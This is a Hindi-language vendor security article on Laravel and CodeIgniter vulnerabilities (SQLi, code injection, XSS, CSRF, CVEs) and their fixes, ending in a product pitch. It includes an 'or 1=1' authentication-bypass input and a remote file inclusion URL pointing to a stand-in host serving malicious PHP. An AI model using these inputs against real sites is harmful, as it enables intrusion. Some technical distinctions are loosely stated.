Computer >> कंप्यूटर ट्यूटोरियल >  >> नेटवर्किंग >> नेटवर्क सुरक्षा

हैकर्स रोकें: Laravel और CodeIgniter साइट्स में प्रमुख भेद्यताएं

Laravel और CodeIgniter वेबसाइट बनाने के लिए उपयोग किए जाने वाले दो लोकप्रिय ओपन-सोर्स PHP फ्रेमवर्क हैं। हालांकि, इन फ्रेमवर्क्स का उपयोग करके साइट्स डेप्लॉय करना उन्हें सुरक्षित नहीं बनाता - सुरक्षित विकास प्रथाएं ही मायने रखती हैं। CodeIgniter और Laravel में SQL इंजेक्शन, सहायता फ़ोरम पर ट्रेंड करने वाले सबसे आम सुरक्षा विषयों में से हैं। SQLi के अलावा, असुरक्षित विकास प्रथाएं साइट्स को XSS, CSRF, RFI हमलों और अन्य के प्रति संवेदनशील बनाती हैं।

Laravel/CodeIgniter हैक की गई वेबसाइट्स के उदाहरण

CodeIgniter या Laravel में SQL इंजेक्शन जैसे सामान्य और व्यापक हमले वेबसाइट से समझौता कर सकते हैं। Laravel कम्युनिटी फ़ोरम या CodeIgniter कम्युनिटी फ़ोरम पर मदद मांगने वाले समान हमलों से पीड़ित बड़ी संख्या में यूजर्स पाए जा सकते हैं - उदाहरण निम्नलिखित हैं:

हैकर्स रोकें: Laravel और CodeIgniter साइट्स में प्रमुख भेद्यताएं
हैकर्स रोकें: Laravel और CodeIgniter साइट्स में प्रमुख भेद्यताएं

CodeIgniter या Laravel हैक्स के लक्षण

  • आपको अपनी वेबसाइट पर संवेदनशील जानकारी चुराने के लिए डिज़ाइन किए गए Laravel या CodeIgniter फ़िशिंग पेज मिलते हैं।
  • आपके यूजर्स दुर्भावनापूर्ण साइट्स पर रीडायरेक्ट होने की शिकायत करते हैं।
  • आप पाते हैं कि Japanese Keyword Hack या Pharma Hack आदि के कारण आपकी Laravel या CodeIgniter साइट पर बेतुका कंटेंट दिखाई दे रहा है।
  • आपकी Laravel या CodeIgniter वेबसाइट बहुत धीमी हो जाती है और एरर मैसेज दिखाती है।
  • थर्ड-पार्टी होस्टिंग का उपयोग करते समय, 'आपका अकाउंट सस्पेंड कर दिया गया है!' मैसेज दिखाई देता है।
  • आपकी Laravel या CodeIgniter साइट सर्च इंजन्स द्वारा ब्लैकलिस्ट हो जाती है।
  • एरर लॉग्स आपकी साइट पर CodeIgniter में SQL इंजेक्शन जैसे कुछ हमले दिखाते हैं।
  • लॉग्स आपकी वेबसाइट पर रिमोट IPs से लॉगिन दिखाते हैं।
  • आपकी वेबसाइट के लॉगिन डेटाबेस में नए, दुष्ट एडमिन दिखाई देते हैं।

सामान्य भेद्यताएं और हैक्स

1) CodeIgniter/Laravel में इंजेक्शन अटैक्स

a) SQL इंजेक्शन

CodeIgniter में SQL इंजेक्शन एक बहुत ही सामान्य, व्यापक रूप से प्रचलित हमला है। जैसा कि नाम से पता चलता है, यह हमला सर्वर के डेटाबेस को टारगेट करता है। CodeIgniter में SQL इंजेक्शन का फायदा उठाकर, हमलावर कर सकता है:

  • डेटाबेस से डेटा पुनर्प्राप्त करना।
  • डेटाबेस की सामग्री संपादित करना। वे पूरे डेटाबेस को ड्रॉप भी कर सकते हैं!
  • कुछ मामलों में, वे रिवर्स शेल प्राप्त कर सकते हैं।
  • or 1=1 जैसे इनपुट का उपयोग करके ऑथेंटिकेशन को बायपास करना।

b) PHP कोड इंजेक्शन

PHP कोड इंजेक्शन एक अन्य सामान्य भेद्यता है जो हमलावरों को Laravel/CodeIgniter वेबसाइट पर कोड निष्पादित करने की अनुमति देती है। हालांकि, यह कमांड इंजेक्शन से अलग है क्योंकि हमलावर केवल उस विशेष भाषा के कमांड निष्पादित कर सकता है।

कमांड इंजेक्शन हमलावर को रिवर्स शेल के माध्यम से कमांड निष्पादित करने की अनुमति देता है। उदाहरण के लिए, कमजोर पैरामीटर को एक दुर्भावनापूर्ण फ़ाइल का लिंक प्रदान किया जा सकता है जिसमें निष्पादित होने के लिए PHP कोड होता है, जैसे https://testsite.com/?page=https://evilsite.com/evilcode.php।

इस फ़ाइल में phpinfo() जैसे फ़ंक्शन हो सकते हैं, जिनका उपयोग जानकारी प्राप्त करने के लिए किया जा सकता है।

2) क्रॉस-साइट स्क्रिप्टिंग (XSS)

इनपुट सैनिटाइजेशन की कमी के कारण Laravel/CodeIgniter वेबसाइट्स में XSS भेद्यता होती है। दोनों फ्रेमवर्क्स में इन हमलों से बचने के लिए विशेष रूप से डिज़ाइन किए गए सुरक्षा फ़ंक्शन हैं। XSS हमले का फायदा उठाकर, हमलावर कर सकते हैं:

  • कुकीज़ और अन्य संवेदनशील सेशन डेटा चुराने के लिए यूजर्स को फ़िश करना।
  • यूजर्स को दुर्भावनापूर्ण साइट पर रीडायरेक्ट करना।
  • सेम-ओरिजिन पॉलिसी को बायपास करना।

3) क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF)

यह हमला यूजर्स को अवांछित कार्रवाई करने के लिए धोखा देने के उद्देश्य से किया जाता है। हालांकि, इसका उपयोग केवल डेटा में हेरफेर करने (उदाहरण के लिए फॉर्म हटाना) के लिए किया जा सकता है, न कि इसे चुराने या पढ़ने के लिए। सबसे खराब स्थिति में, यदि विक्टिम एडमिन है, तो पूरे एप्लिकेशन को नष्ट किया जा सकता है। यह हमला विक्टिम्स को एक लिंक पर क्लिक करने के लिए लुभाने के लिए सोशल इंजीनियरिंग ट्रिक्स का उपयोग करता है जो पृष्ठभूमि में अकाउंट डिलीट करने जैसे कमांड निष्पादित करता है।

इन सामान्य भेद्यताओं के अलावा, यहां CodeIgniter और Laravel के लिए विशिष्ट कुछ भेद्यताएं हैं:

4) CodeIgniter में ज्ञात भेद्यताएं

  • प्रिविलेज एस्केलेशन (CVE-2020-10793):
    CodeIgniter संस्करण 4.0.0 तक, रिमोट हमलावारों को "यूजर की भूमिका चुनें" पेज पर संशोधित ईमेल आईडी के माध्यम से विशेषाधिकार प्राप्त करने की अनुमति देता है।
  • सेशन फिक्सेशन (CVE-2018-12071):
    CodeIgniter में संस्करण 3.1.9 से पहले सेशन फिक्सेशन समस्या मौजूद है क्योंकि सेशन लाइब्रेरी में session.use_strict_mode को गलत तरीके से संभाला गया था।
  • XML एक्सटर्नल एंटिटी समस्या (CVE-2015-3907):
    CodeIgniter Rest Server (उर्फ codeigniter-restserver) 2.7.1 XXE हमलों की अनुमति देता है।

5) Laravel में ज्ञात भेद्यताएं

  • डीबग मोड: रिमोट कोड एक्जीक्यूशन (CVE-2021-3129)
    नवंबर 2020 के अंत में Laravel CMS (संस्करण Laravel <= v8.4.2) में RCE भेद्यता खोजी गई।
  • सूचना एक्सपोजर (CVE-2020-13909):
    Laravel के लिए संस्करण 2.0.5 से पहले का इग्निशन पेज ग्लोबल्स, _get, _post, _cookie, और _env को गलत तरीके से संभालता है। यह एक रिमोट हमलावर को संभावित रूप से संवेदनशील जानकारी तक पहुंच प्राप्त करने की अनुमति देता है।
  • डिसीरियलाइज़ेशन (CVE-2019-9081):
    Laravel Framework 5.7.x के इल्युमिनेट कंपोनेंट में एक डिसीरियलाइज़ेशन भेद्यता है जो PendingCommand.php में PendingCommand क्लास के __destruct मेथड से संबंधित है, यदि कंटेंट नियंत्रणीय है तो रिमोट कोड एक्जीक्यूशन का कारण बन सकता है।
क्या आपकी Laravel या CodeIgniter का उपयोग करने वाली वेबसाइट हैक हो गई थी? चैट विजेट पर हमें संदेश दें।

अपनी CodeIgniter/Laravel वेबसाइट की सुरक्षा करना

CodeIgniter में SQL इंजेक्शन से बचना

CodeIgniter ढेर सारी सुरक्षा सुविधाओं के साथ आता है। उनमें से कुछ में SQL इंजेक्शन से बचने के लिए फ़ंक्शन और लाइब्रेरी शामिल हैं। यहां तीन तरीके हैं जिनसे आप इन सुविधाओं का उपयोग हमलों से बचने के लिए कर सकते हैं:

1. CodeIgniter में क्वेरीज़ एस्केप करना

PHP एप्लिकेशन में सबमिट करने से पहले डेटा को एस्केप करना इसे सैनिटाइज करेगा। यह सुरक्षा प्रथाओं में से एक है जिसका नियमित रूप से पालन किया जाना चाहिए। क्वेरीज़ को तीन तरीकों से एस्केप किया जा सकता है:

  1. $this->db->escape(): एस्केप करने से पहले डेटा प्रकार निर्धारित करता है
  2. $this->db->escape_str(): डेटा प्रकार निर्धारित नहीं करता, बस इसे एस्केप करता है।
  3. $this->db->escape_like_str(): शर्तों के साथ उपयोग किया जा सकता है।

उदाहरण के लिए, नीचे दिए गए कोड स्निपेट को देखें।

<?php
 $email= $this->input->post('email');
 $query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
 $this->db->query($query);
 ?>

इस कोड में, फ़ंक्शन $this->db->escape() पहले केवल स्ट्रिंग डेटा को एस्केप करने के लिए डेटा प्रकार निर्धारित करता है। यह इनपुट डेटा के चारों ओर स्वचालित रूप से सिंगल कोट्स भी जोड़ता है। यह CodeIgniter में SQL इंजेक्शन को रोकता है।

2. CodeIgniter में क्वेरीज़ बाइंड करना

इनपुट को सैनिटाइज करने के अलावा, क्वेरीज़ बाइंड करने से CodeIgniter वेबसाइट में कोड भी सरल हो सकता है। यह मेथड सिस्टम को क्वेरीज़ डालने देता है, जिससे डेवलपर के लिए जटिलता कम हो जाती है। उदाहरण के लिए, नीचे दिए गए कोड स्निपेट को देखें:

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

यहां, आप पहली पंक्ति में मानों के बजाय कुछ प्रश्न चिह्न देख सकते हैं। क्वेरी बाइंडिंग के कारण, ये प्रश्न चिह्न दूसरी पंक्ति में सरणी के मानों से प्रतिस्थापित हो जाते हैं। पिछले उदाहरण में, हमने मैन्युअल क्वेरी एस्केपिंग देखी। यहां, यह मेथड इसे स्वचालित रूप से पूरा करता है, जिससे CodeIgniter में SQL इंजेक्शन रुक जाता है।

3. CodeIgniter में एक्टिव क्लास रिकॉर्ड

CodeIgniter की एक्टिव रिकॉर्ड सुविधा हमें न्यूनतम कोड या स्क्रिप्टिंग के साथ डेटाबेस ऑपरेशन करने की अनुमति देती है। चूंकि यह सिस्टम का एक फ़ंक्शन है, इसलिए क्वेरी एस्केपिंग स्वचालित रूप से की जाती है। उदाहरण के लिए, टेबल के सभी डेटा को एक साधारण क्वेरी द्वारा पुनर्प्राप्त किया जा सकता है:

$query = $this->db->get('mytable');

Laravel में SQL इंजेक्शन से बचना

Laravel में ऑब्जेक्ट-रिलेशनल मैपिंग उपयोगकर्ता इनपुट को सैनिटाइज करने के लिए PHP ऑब्जेक्ट डेटा बाइंडिंग का उपयोग करता है जो बदले में SQL इंजेक्शन Laravel को रोकता है। पैरामीटर बाइंडिंग स्वचालित रूप से कोट्स भी जोड़ता है, जिससे or 1=1 जैसे खतरनाक इनपुट को ऑथेंटिकेशन बायपास करने से रोका जाता है।

यहां Laravel में नेम्ड बाइंडिंग क्वेरी का एक कार्यान्वयन है:

$results = DB::select('select * from users where id = :id', ['id' => 1]);

CodeIgniter में क्रॉस-साइट स्क्रिप्टिंग से बचना

संभावित XSS हमलों को रोकने के लिए, CodeIgniter एक पूर्व-निर्मित XSS फ़िल्टर के साथ आता है। यदि यह फ़िल्टर किसी दुर्भावनापूर्ण अनुरोध का सामना करता है, तो इसे इसके कैरेक्टर एंटिटी में परिवर्तित कर देता है, जिससे एप्लिकेशन सुरक्षित रहता है। इस फ़िल्टर को xss_clean() मेथड के माध्यम से एक्सेस किया जा सकता है:

$data = $this->security->xss_clean($data);

हालांकि, कभी-कभी हमलावर इमेज फ़ाइलों के भीतर दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। ऐसे हमलों को रोकने के लिए, अपलोड की गई फ़ाइलों की सुरक्षा के लिए भी जांच की जा सकती है। उदाहरण के लिए, नीचे दिए गए कोड को देखें:

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}

यह कोड True का बूलियन मान लौटाएगा यदि इमेज सुरक्षित है और इसके विपरीत। हालांकि, यह ध्यान देने योग्य है कि यदि आप HTML एट्रिब्यूट मानों को फ़िल्टर करना चाहते हैं तो html_escape() मेथड का उपयोग करना उचित है।

Laravel में क्रॉस-साइट स्क्रिप्टिंग से बचना

एस्केप स्ट्रिंग का उपयोग करके, Laravel वेबसाइट्स में XSS हमलों से बचा जा सकता है। एस्केप स्ट्रिंग्स अनसैनिटाइज्ड इनपुट को लागू होने से रोकेंगे। Laravel संस्करण > 5.1 में, यह सुविधा डिफ़ॉल्ट रूप से सक्षम है। इसलिए, जब Laravel 5.1 से ऊपर के संस्करणों में <div>{{ $task->names }}</div> जैसा इनपुट प्रदान किया जाता है, तो एप्लिकेशन स्वचालित क्वेरी एस्केपिंग के कारण कमजोर नहीं होगा।

उपयोगकर्ता-आपूर्ति इनपुट की लंबाई सीमित करने से भी कुछ प्रकार के XSS और SQLi हमलों को रोका जा सकता है। इसे नीचे दिए गए HTML कोड के माध्यम से किया जा सकता है:

<input type="text" name="task" maxlength="10">

इसे JS फ़ंक्शन के माध्यम से भी लागू किया जा सकता है। Laravel में {% raw %} {{}} {% endraw %} सिंटैक्स डिफ़ॉल्ट रूप से पास की गई किसी भी दुर्भावनापूर्ण HTML एंटिटी को एस्केप कर सकता है।

कुछ लाइब्रेरीज़ हैं जो विशेष रूप से Laravel XSS को रोकने के लिए डिज़ाइन की गई हैं। यदि आप Blade जैसे टेम्पलेट इंजन का उपयोग करते हैं, तो यह ऐसे हमलों को रोकने के लिए स्वचालित रूप से एस्केपिंग का उपयोग करेगा।

CodeIgniter में CSRF हमलों को रोकना

CSRF सुरक्षा को CodeIgniter में application/config/config.php फ़ाइल को संपादित करके सक्षम किया जा सकता है। बस फ़ाइल में निम्नलिखित कोड जोड़ें:

$config['csrf_protection'] = TRUE;

यदि आप Form Helper का उपयोग करते हैं, तो आप डिफ़ॉल्ट रूप से फॉर्म्स में एक हिडन CSRF टोकन फ़ील्ड डालने के लिए form_open() फ़ंक्शन का उपयोग कर सकते हैं। CSRF सुरक्षा लागू करने का दूसरा तरीका get_csrf_token_name() और get_csrf_hash() का उपयोग करना है। संदर्भ के लिए, नीचे एक फॉर्म और एक सर्वर-साइड कार्यान्वयन के दो कोड स्निपेट दिए गए हैं:

<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());

टोकन्स का पुनर्जनन भी CodeIgniter CSRF हमलों को रोकने के लिए एक सुरक्षित अभ्यास है। हालांकि, टोकन पुनर्जनन समस्याग्रस्त हो सकता है क्योंकि यूजर्स को अन्य टैब पर नेविगेट करने के बाद पुनः सत्यापन की आवश्यकता हो सकती है। टोकन पुनर्जनन निम्नलिखित कॉन्फिग पैरामीटर द्वारा किया जा सकता है:

$config['csrf_regenerate'] = TRUE;

Laravel में CSRF हमलों को रोकना

Laravel फॉर्म्स में CSRF हमलों से बचाने के लिए टोकन्स लागू किए जाते हैं। इन टोकन्स को तब एक AJAX कॉल का उपयोग करके बुलाया जाता है जो प्रत्येक फॉर्म में एम्बेडेड पाया जा सकता है। अनुरोध टोकन से डेटा का मिलान यूजर के सेशन के लिए सर्वर पर संग्रहीत टोकन से किया जाता है, जिससे विसंगतियों की जांच की जाती है। CSRF टोकन्स को निम्नलिखित कोड का उपयोग करके फॉर्म्स में पास किया जा सकता है (Blade टेम्पलेट्स कार्यान्वयन):

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>

हालांकि, LaravelCollective/HTML पैकेज का उपयोग करते समय CSRF टोकन डिफ़ॉल्ट रूप से जोड़ा जा सकता है।

CodeIgniter में एरर रिपोर्टिंग ब्लॉक करना

फ़ाइल एरर्स डेवलपमेंट एनवायरनमेंट में उपयोगी होते हैं। हालांकि, वेब पर, CodeIgniter फ़ाइल एरर्स हमलावरों को संभावित रूप से संवेदनशील जानकारी लीक कर सकते हैं। इसलिए, एरर रिपोर्टिंग को बंद करना एक सुरक्षित अभ्यास है।

PHP एरर्स

PHP एरर रिपोर्टिंग को बंद करने के लिए, index.php फ़ाइल का उपयोग करें। बस error_reporting() फ़ंक्शन में आर्गुमेंट के रूप में शून्य पास करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें:

error_reporting(0);

हालांकि, CodeIgniter संस्करण 2.0.1 और ऊपर के लिए, index.php फ़ाइल में एनवायरनमेंट कॉन्स्टेंट को "production" पर सेट करके PHP एरर आउटपुट को डिसेबल किया जा सकता है।

डेटाबेस एरर्स

डेटाबेस एरर्स को application/config/database.php फ़ाइल को संपादित करके डिसेबल किया जा सकता है। बस db_debug विकल्प को FALSE पर सेट करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें:

$db['default']['db_debug'] = FALSE;

एरर लॉगिंग

इसे करने का एक स्मार्ट तरीका यह होगा कि होने वाली एरर्स को लॉग फ़ाइलों में स्थानांतरित कर दिया जाए जो उन्हें प्रदर्शित होने से रोकेंगी। /config/config.php फ़ाइल के लॉग थ्रेशोल्ड विकल्प को इस उद्देश्य के लिए 1 पर सेट किया जा सकता है। नीचे दिए गए उदाहरण को देखें:

$config['log_threshold'] = 1;

Laravel या CodeIgniter के लिए वेब एप्लिकेशन फ़ायरवॉल का उपयोग करें

हमलावर लगातार आपकी साइट से समझौता करने के नए तरीके खोज रहे हैं। इसलिए, एक अन्य सुरक्षित अभ्यास किसी प्रकार के फ़ायरवॉल या सुरक्षा समाधान का उपयोग करना है। Astra Security एक ऐसा सुरक्षा समाधान है जिसे आपकी लचीली मांगों को पूरा करने के लिए डिज़ाइन किया गया है। बस चैट विजेट पर हमें संदेश दें और अपनी वेबसाइट को सुरक्षित करने के एक कदम और करीब पहुंचें। अभी डेमो प्राप्त करें!

हैकर्स रोकें: Laravel और CodeIgniter साइट्स में प्रमुख भेद्यताएं

Astra Security आपकी Laravel या CodeIgniter वेबसाइट के लिए 80+ सक्रिय टेस्ट के साथ एक व्यापक सुरक्षा ऑडिट प्रदान करता है, जिसमें ऑटोमेटेड और मैन्युअल टेस्टिंग का सही मिश्रण है।

  1. कोडइग्नाइटर और लारवेल सुरक्षा: सामान्य कमज़ोरियों की पहचान करें और उन्हें पैच करें कोडइग्नाइटर और लारवेल सुरक्षा: सामान्य कमज़ोरियों की पहचान करें और उन्हें पैच करें

    लारवेल और कोडइग्नाइटर दोनों लोकप्रिय PHP फ्रेमवर्क हैं जिनका उपयोग वेबसाइट बनाने के लिए किया जाता है। उनकी लोकप्रियता का श्रेय दोनों फ्रेमवर्क की ओपन-सोर्स प्रकृति को भी दिया जा सकता है। हालांकि, उपयोगकर्ताओं को यह समझना चाहिए कि इन फ्रेमवर्क्स का उपयोग करके साइट्स डेप्लॉय करने मात्र से वे सुरक्षित

  1. वेबसाइट से समझौता? अपनी साइट को तुरंत सुरक्षित करने के लिए 5 महत्वपूर्ण कदम वेबसाइट से समझौता? अपनी साइट को तुरंत सुरक्षित करने के लिए 5 महत्वपूर्ण कदम

    वर्षों से साइबर अपराध में लगातार वृद्धि हुई है। लेकिन पिछले पांच वर्षों में, अचानक उछाल आया है। इसे भारत, ब्राजील आदि जैसे बड़े बाजारों में इंटरनेट कनेक्टिविटी के प्रसार के लिए जिम्मेदार ठहराया जा सकता है। कुछ आंकड़ों के अनुसार, 86% वेबसाइट्स में कम से कम एक गंभीर भेद्यता होती है जो उनकी वेबसाइट के

  1. वेबसाइट की वैधता कैसे सत्यापित करें: चरण-दर-चरण गाइड वेबसाइट की वैधता कैसे सत्यापित करें: चरण-दर-चरण गाइड

    इंटरनेट उन कुछ सेवाओं में से है जो न केवल उपयोगी हैं बल्कि व्यवसायों और बुनियादी ढांचे के लिए आवश्यक भी हैं। मैसेजिंग ऐप्स से लेकर परमाणु ऊर्जा संयंत्रों तक, इंटरनेट कई बड़ी सेवाओं को पूरा कर रहा है। लेकिन, सभी वरदानों के बीच, इसके कई विषैले प्रभाव भी हैं। अब जब एक साधारण इंटरनेट कनेक्शन आपको इंटरन